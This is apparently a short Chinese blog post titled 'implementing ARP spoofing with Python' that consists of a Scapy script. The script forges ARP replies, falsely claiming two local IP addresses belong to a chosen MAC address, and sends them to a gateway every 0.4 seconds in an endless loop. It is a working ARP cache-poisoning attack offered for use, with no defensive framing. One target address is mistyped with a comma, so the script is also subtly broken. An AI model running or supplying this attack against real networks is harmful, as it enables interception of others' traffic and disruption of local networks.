使用python实现arp欺骗

#!/usr/bin/env python

from scapy.all import *
import time

eth = Ether()
arp = ARP(op=2, pdst="192.168.1,1", hwdst="00:03:7f:ba:db:ad", psrc="192.168.1.110", hwsrc="ff:00:ee:00:dd:00")

eth1 = Ether()
arp1 = ARP(op=2, pdst="192.168.1,1", hwdst="00:03:7f:ba:db:ad", psrc="192.168.1.120", hwsrc="ff:00:ee:00:dd:00")

while True:
    sendp(eth/arp, iface='enp4s0')
    sendp(eth1/arp1, iface='enp4s0')
    time.sleep(0.4)

你可能感兴趣的:(python)